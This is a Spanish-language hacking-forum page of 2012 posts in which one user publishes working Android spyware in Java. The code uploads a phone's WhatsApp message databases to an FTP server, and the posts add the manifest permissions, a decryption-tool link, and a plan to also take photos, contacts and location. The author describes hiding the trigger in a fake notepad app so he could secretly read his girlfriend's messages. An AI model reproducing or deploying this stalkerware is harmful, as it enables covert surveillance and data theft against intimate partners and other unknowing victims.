elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


  Mostrar Mensajes
Páginas: [1]
1  Seguridad Informática / Análisis y Diseño de Malware / Re: Spyware-código java para "tomar prestado" msgstore.db.crypt-base datos whatsapp en: 8 Octubre 2012, 09:14 am
hola h3ct0r,

En respuesta a tu pregunta decirte que tienes toda la razon. Mi intencion era crear una app "util" que ejecute un servicio al inicio para hacer todo esto sin tener que interactuar el usuario. Y que este servicio ademas de "coger prestada" la base de datos del wasap fuese capaz de coger otra informacion como las fotos, agenda de telefonos, localizacion, etc...
Por otra parte la impaciencia me hizo apresurarme y cuando vi que el codigo funcionaba y que podia leer los wasaps de mi novia deje de pensar en todo lo demas.

En cuanto a la pregunta de si miraba para otro lado mientras le daba al boton, cabe aclarar que puse lo del boton como algo generico, lo cierto es que hice un pequeño bloc de notas y le asigne la ejecucion del sript a un EditText, en lugar de un boton, por lo que solo con querer escribir una nota ya esta todo echo, no hace falta darle a ningun boton.
En cuanto le enseñé el bloc de notas a mi "ahora ex", no me hizo falta ni explicarle como funcionaba..lo quería ya...!!
Si hubiese tenido la opcion de ver su movil y que ella mirara pa otro lado, hubiera leido su whatsapp directamente.

Creo que el script que he utilizado se puede mejorar muchisimo en funcion de las necesiidades que tenga cada persona (segun lo que quieras robar y durante cuanto tiempo), mas adelante lo volvere a subir mucho mas limpio y con mas funcionalidad.

Y recordad una cosa, si el rio suena es porque agua lleva. Si teneis tantas dudas de vuestra pareja como para hacer algo asi, mi consejo es que no lo hagais. Mejor vivir en la ignorancia, si quiere estar con otro, que esté. Cuantos menos detalles sepamos...mejor!

Un saludo!
2  Seguridad Informática / Análisis y Diseño de Malware / Re: Spyware - codigo app android para "tomar prestado" msgstore.db.crypt en: 6 Agosto 2012, 20:32 pm
Se me olvidaba comentar los permisos en android. No olvideis añadirlos al manifest.xml para poder acceder a internet y a la sdcard.

Código:
<uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
3  Seguridad Informática / Análisis y Diseño de Malware / Spyware-código java para "tomar prestado" msgstore.db.crypt-base datos whatsapp en: 6 Agosto 2012, 01:50 am
Con esto pretendo hacer mas fácil el trabajo a gente que se vea en mi misma situación o en otra parecida. Quiero aclarar las personas que usen el siguiente codigo lo haran totalmente bajo su responsabilidad.

Pues bien, al turrón:

El Spyware se trata de una pequeña aplicación para android que "coge prestados" los archivos msgstore.db.crypt almacenados en la carpeta del whatsapp/databases.
Posteriormente envía  dichos archivos a una servidor FTP, yo he utilizado un servidor público y ha subido toda la base de datos del whatsapp funcionado a la perfección.

Pues bien, tras conseguir dichos archivos tan solo queda utilizar la herramienta escrita en python para descifrar dichos archivos, la cual podemos descargar desde esta misma página.
http://ns2.elhacker.net/Whatsapp_Xtract_V2.1_2012-05-07.zip

1- Para realizar la aplicación lo que haremos será utilizar la librería java commons.net que nos proporcionará los métodos necesarios para establecer un cliente y conectarnos a un servidor ftp.
Para añadir la libreria a nuestro proyecto debemos descargarla de aqui:
http://commons.apache.org/net/download_net.cgi
y posteriormente desde eclipse, click derecho sobre nuestro proyecto, build path y le damos a add external jars, donde añadiremos los .jar de la libreria descargada.


2- Posteriormente crearemos un flujo de entrada desde los archivos que deseamos coger del dispositivo android, en este caso todos los msgstore.db.crypt que hayan en la carpeta whatsapp/databases, y añadirlos a nuestra carpeta en el servidor ftp.

3- Por último tendremos que crear un nuevo hilo de ejecución y instanciar la clase donde tengamos todo lo del punto 1 y 2. Este nuevo hilo de ejecución es necesario para poder realizar este tipo de conexiones en android.
Código
  1. import java.io.*;
  2. import java.net.InetAddress;
  3. import java.net.SocketException;
  4. import java.net.URL;
  5. import java.net.URLConnection;
  6. import java.nio.channels.FileChannel;
  7. import org.apache.commons.net.ftp.FTP;
  8. import org.apache.commons.net.ftp.FTPClient;
  9. import android.os.Environment;
  10. import android.util.Log;
  11.  
  12. public class FtpCon {
  13.  
  14. public FtpCon() throws SocketException, IOException {
  15.  
  16.  try {
  17.  FTPClient mFTPClient = new FTPClient();
  18.  mFTPClient.connect("direccion del servidor", 21);      
  19.  mFTPClient.login("nombreUsuario","contraseña");
  20.  mFTPClient.enterLocalPassiveMode();
  21.  mFTPClient.changeWorkingDirectory("directorio ftp para trabajar");
  22.  
  23.  mFTPClient.setFileType(FTPClient.BINARY_FILE_TYPE);// este metodo "setTypeFile(BINARY_FILE_TYPE)" es muy importante para que el archivo se envie correctamente
  24.  Log.d("Working Directory", mFTPClient.printWorkingDirectory());
  25.  
  26.                          String estado = Environment.getExternalStorageState();
  27. if (!estado.equals(Environment.MEDIA_MOUNTED)) {
  28. Log.d("Error", "No hay almacenamiento externo montado");
  29. } else {
  30.                                        File externalDir = Environment.getExternalStorageDirectory();
  31. File ruta = new File(externalDir.getAbsolutePath()+File.separator+"WhatsApp"+File.separator+"Databases");
  32. String [] filenames = ruta.list();
  33. if (filenames != null) {
  34. for (int i = 0; i< filenames.length; i++) {
  35. try {  
  36.  
  37. InputStream is = new FileInputStream(ruta+File.separator+filenames[i]);
  38.  
  39. mFTPClient.storeFile("msgstore.db.crypt"+i, is);
  40.                                                       } catch (IOException e) {
  41. Log.d("Error", "Se ha producido un error! "+e.getMessage());
  42. }
  43.  
  44. }
  45. }
  46.  
  47.                                mFTPClient.logout();
  48.                                        Log.d("OK", "Enviado con exito");
  49.  } catch (IOException e) {
  50.  Log.d(":(", e.getMessage());  
  51.  }
  52.         }
  53.   }
  54.  

Tan solo tenemos que poner la dirección del servidor, el nombre de usuario, la contraseña y la carpeta con la que queremos trabajar en nuestro servidor.

Para que esto funcione, creamos una aplicacion sencilla en android que por ejemplo tenga un botón, y que al pulsar ese boton se ejecute el código anterior, tal y como está escrito a mi me ha funcionado sin problemas, bueno a parte de los problemas que me está causando el leer los mensajes del whatsapp de mi novia..toda una decepción, y como consejo si alguien quiere utilizarlo con este mismo fin, mucho cuidado porque seguro que veis cosa que desearíais no haber visto!

Bueno retomando el tema y para ir finalizando: el pequeño trozo de código que he utilizado para crear un nuevo hilo de ejecución y instanciar la clase FtpCon. Este código lo he metido dentro del método onClick() que le he asignado a un botón que he puesto en medio de la pantalla, pero podeis ponerlo donde querais, siempre y cuando se vaya a ejecutar, exceptuando en el merodo onCreate().
Código
  1. new Thread(new Runnable() {
  2.     public void run() {
  3.     try {
  4. FtpCon con = new FtpCon();
  5. } catch (SocketException e) {
  6. // TODO Auto-generated catch block
  7. e.printStackTrace();
  8. } catch (IOException e) {
  9. // TODO Auto-generated catch block
  10. e.printStackTrace();
  11. }    
  12.     }
  13.    }).start();
  14.  
Bueno espero que esto os sirva de ayuda a todos aquellos que lo necesiteis. Un Saludo! >:D


Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines